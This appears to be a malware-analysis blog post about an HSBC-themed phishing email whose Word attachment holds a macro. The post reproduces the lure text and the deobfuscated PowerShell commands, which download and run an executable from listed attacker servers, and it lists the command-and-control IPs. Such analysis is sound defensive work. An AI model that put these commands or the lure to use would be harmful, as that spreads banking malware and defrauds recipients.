From: Lydia OnealThe company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:
Date: 11 February 2015 at 09:14
Subject: Your latest e-invoice from HSBC HLDGS
Dear Valued Customer,
Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.
Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.
Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.
This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.
Your latest e-invoice from HSBC HLDGS
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The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates    containing a slightly different macro in each case   . If we deobfuscate the macro, we see some code like this:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://126.96.36.199:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';The macro is calling Powershell to download and execute code from these locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://188.8.131.52:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://184.108.40.206:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
http://220.127.116.11:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://18.104.22.168:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://22.214.171.124:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)
The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.
Automated analysis tools      show that it attempts to contact the following IPs:
126.96.36.199 (Pirix, Russia)
188.8.131.52 (MWTV, Latvia)
184.108.40.206 (FranTech Solutions, US)
220.127.116.11 (IOmart, UK)
18.104.22.168 (RCS & RDS Residential, Romania)
The malware probably drops a Dridex DLL, although I have not been able to obtain this.
(Note, for researchers only a copy of the files can be found here, password=infected)